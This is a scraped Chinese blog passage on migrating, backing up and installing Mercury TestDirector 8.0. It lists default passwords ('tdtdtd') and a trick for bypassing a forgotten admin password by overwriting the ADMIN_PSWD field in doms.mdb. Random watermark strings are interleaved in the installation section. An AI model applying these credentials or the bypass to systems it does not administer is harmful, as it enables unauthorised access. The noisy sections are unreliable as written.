    这些表,存放着TD所有的配置信息,是很重要的,我们根据自己的工作环境实际配置这个表,其中需要修改的表是:DBSERVER、DOMAINS、PARAMS、PROJECT和TDSERVERS这五个表。

    a.DBSERVER表中主要修改DBSERVER_NAME(目标数据库服务器的IP如本例为10.168.188.151)、DB_USER_PASS(用户密码如tdtdtd)、DB_ADMIN_USER(管理用户名如td)和DB_ADMIN_PASSWORD(管理用户密码如tdtdtd)字段的值,如下图:
       

          b.DOMAINS表中主要修改PHYSICAL_DIRECTORY字段的值。(基本上不要修改)

       

         c.PARAMS表中主要修改PARAM_VALUE字段的值。(基本上不要修改)

       

    d.PROJECT表中主要增加或修改一个记录就行了,其关键字段表示的意思是PROJECT_ID(项目ID号不能重复),PROJECT_NAME(项目名称),DB_NAME(项目对应的数据库名称如本例的default_e_cis_db),DB_TYPE(数据库类型1为ACCESS,2为SQL SERVER),PHYSICAL_DIRECTORY(TD服务器中的共享目录如本例为\\10.168.188.152\td_dir\default\e_cis、DB_USER_PASS(TD用户密码如本例为tdtdtd)、DBSERVER_NAME(数据库的IP地址)。

       

         e.TDSERVERS中主要修改DBSERVER_NAME、TD_IP_ADDRESS

       

    说明:以上修改是针对移植工作修改的表,如果我们需要将分布在多台计算机上的TD项目合并移植到一台服务器上,还需要修改ACCESS数据库中的SEQUENCES表中的USER_SEQ字段的数值,这个字段是用来控制用户数量,如果数值太小TD部分用户就出现无法登录的现象。

       

    总结:修改的内容还需要根据自己的实际情况进行修改,我这里只列出常修改的一些字段。

    4):修改Project中的INI文件:

    修改INI文件目的是:ini文件保存数据库信息,TD程序信息,项目名称以及相关的内容。

    具体思路:修改ini文件配置参数,使TD项目文件和项目数据库关联。

    将C:\TD_Dir\Default目录下面的E-CIS项目文件,拷贝到备份的计算机中,然后修改E-CIS文件夹内的Dbid.ini文件:

    Dbid.ini 内容:

    [General]

    Database_Type=MSSQL

    Created_Date=08/11/04 15:44:39

    Created_By=td

    AliasName=E-CIS

    Database Name=default_e_cis_db

    Database Server=10.168.188.229

    Domain Name=DEFAULT

    SendAllQualified=Y

    Has_VCS_DB=Y

    主要修改的内容是:

    Database Name=default_e_cis_db

    Database Server=10.168.188.229

    按照实际情况填写这些信息,就ok了。

    总结:通过以上的介绍,我们集成工作环境的移植工作就已经完成了。经过这样的移植,我们可以实现TD项目的双机备份,双机备份可以让我们的数据更安全、更有保障。

    .分布式工作环境的备份和恢复方法

    分布式工作环境的项目移植相对集成工作环境移植更简单,在这里我们不详细介绍,相信大家看过集成工作环境的移植对分布式移植不在话下了。

    我们对分布式工作环境移植的思路:

    • 强调首先备份项目的数据。
    • 移植TDDir目录下的项目文件到新的服务器上。
    • 复制DomsInfo目录到新服务器C:\Program Files\Common Files\Mercury Interactive下。
    • 修改这个目录下Doms.mdb文件的参数。(修改的详细方法见集成工作环境的移植)

    总结:相对集成工作环境移植来说,分布式结构移植少了数据库的移植,可以继续使用原有的数据库,在移植过程中数据库的移植是移植成功与否的关键因素之一,少了这个过程相信大家移植更为方便。

    【小结】以上我们介绍了两种结构的移植工作,经过上述修改项后,迁移数据的工作就已经成功,td服务器可以访问迁移后的数据库。通过移植工作,同时可以解决TD项目的双机相互备份的问题,保障数据的安全性。

    再次备份TD项目,只需要将原来TD后台数据库表中的数据导入另一台计算机中的数据库中,就可以实现。

  • TS8.0的安装

    2008-11-28 11:46:35

    1.       安装前环境配置TD的WEB服务容器为IIS,必须得先安装IIS环境TD的后台默认为Access以选择使用Sybase、 MS-SQL Server、 Oracle. TD也支持邮件服务,可以选择安装邮件服务或则暂时不安装。如果需要安装则在安装前做好邮件服务器的相关配置。
    $F5e;Y.m/VV6Ek;Z&L/S194182  51Testing软件测试网IX3eFq"W)B-Ax
    2.       安装事项在安装时,要对系统进行一些安装设置,以下对一些关键设置进行简单解释。51Testing软件测试网fO2|J#W#q[/h0G
     51Testing软件测试网%^k;Td3Hy1s
      1)数据库连接设置设置数据库连接时,Access为默认必选,可以选择另外一种合适的数据库做为TD的连接数据库,该数据库可以在创建TD项目时,选择作为项目的数据库。
    dCr)Q[2t#o^,o194182  
    7{Hu"j b:GN194182   2)虚拟目录设置其中的虚拟目录名TDBIN下将保存TD的一些运行文件。
    _*\+R C;N^194182  
    j?H}B&p6`194182   3.       安装注意安装TD时,系统资源消耗比较大,容易造成安装失败或错误,所以在安装时,尽量不要进行的系统操作,等待安装完成。51Testing软件测试网&d;L bMl^J
     51Testing软件测试网Kho` ~$r
      4.       安装后配置1)  汉化在安装目录TDBIN/Install/下存放的是一些为连接服务的客户端加载的系统文件。其中的tdclientui80.xco文件,该文件会自动加载到客户端的C:\Program Files\Common Files\Mercury Interactive\TD2000_80目录下,并生成为tdclientui80.ocx文件。
    e8Pi6a[z194182  
    ,h A"O%k(iu194182   注意其中两个文件的后缀名区别。文件后缀可通过更改方式变换为OCX或XCO.由于Mercury并为发行官方的汉化包,所以采用第三方的资源包进行汉化。汉化方式,把得到的汉化资源dclientui80.xco文件粘贴到服务器TDBIN/Install/目录下,覆盖掉原文件即可。
    %b E v(z,A0S.l^194182  51Testing软件测试网3xd4O]/z.k ]i4l;~e+P O
      在之前访问过服务器的客户端,在下次连接时由于不再加载更新后的数据,所以必须得删除客户端下的C:\Program Files\Common Files\Mercury Interactive\TD2000_80目录下覆盖tdclientui80.ocx文件,使再次访问时自动加载汉化后的新组件。51Testing软件测试网nY;|]Ji!f*_9v~
     
    M*z2tU\Q194182   也可以通过在客户端C:\Program Files\Common Files\Mercury Interactive\TD2000_80目录下覆盖tdclientui80.ocx文件达到汉化的目的。
    )Pw:FO.vs%@)_i194182  51Testing软件测试网5E_6D0gmV@
      2)  设置MS-SQL的数据库连接对数据库的“客户端网络实用工具”进行配置。选择协议Named Pipes与TCP/IP,别名设置最好选择本机计算机名。
    /}.n:dW1Zx,To194182  51Testing软件测试网n6c3}{I t+_
      对数据库的安全性设置——身份验证,设置为 Server和WINDOWS.设置后,在后台PING连接数据库,如果成功,则可正常创建该类数据库的项目。
    c(l ~^%X U194182  51Testing软件测试网|'r&bR3Ci\w}2C
      3)  IE7.0兼容性安装TD后,并不能顺利支持IE7.0的客户端浏览器。此时可以用记事本等打开服务器TDBIN/目录下的start_a.htm源文件,然后进行编辑。51Testing软件测试网\_1Z.WtL
     51Testing软件测试网%L#B@&Qn7Ut\F"~"{L
      查找“ var fMSIE3456”51Testing软件测试网0I%sp?-VRU
     
    *^*H$y b:O ?Z0]194182   然后在该行的末尾处分号前添加一段语句“|| (ua.lastIndexOf('MSIE 7.0') != -1)”
    %?_*])cLq/K%X194182  
    ,N8W u4y9b194182   保存即可。
    ;C+^1L%\ VI+j194182  
    (@9c'yr:HS]194182   4)TD系统信息修改在C:\Program Files\Common Files\Mercury Interactive\目录中的DomsInfo文件夹,该文件夹中保存TD系统的关键信息,其中有TD系统配置信息的数据库doms.mdb文件,该数据库文件已默认被加密,密码为tdtdtd.在Templates文件夹中的文件为初始化生成的项目模板文件,包括TestDir.mdb,该文件为生成项目的初始数据库表。这样的话我们,就可以在每次创建项目时初试化出我们想要的,预定好的数据库表和相关数据来。就可以避免每次创建项目时重复的手工定义字段了,我们可以定制自己的项目数据库模板。51Testing软件测试网7gfo@~2f z0P
     51Testing软件测试网R~\PS1R;[
      如当遗忘ADMIN的密码时,可以通过往doms.mdb的ADMIN表中的ADMIN_PSWD字段更换写入“456711”,登陆时输入密码“test”即可进入。
Open Toolbar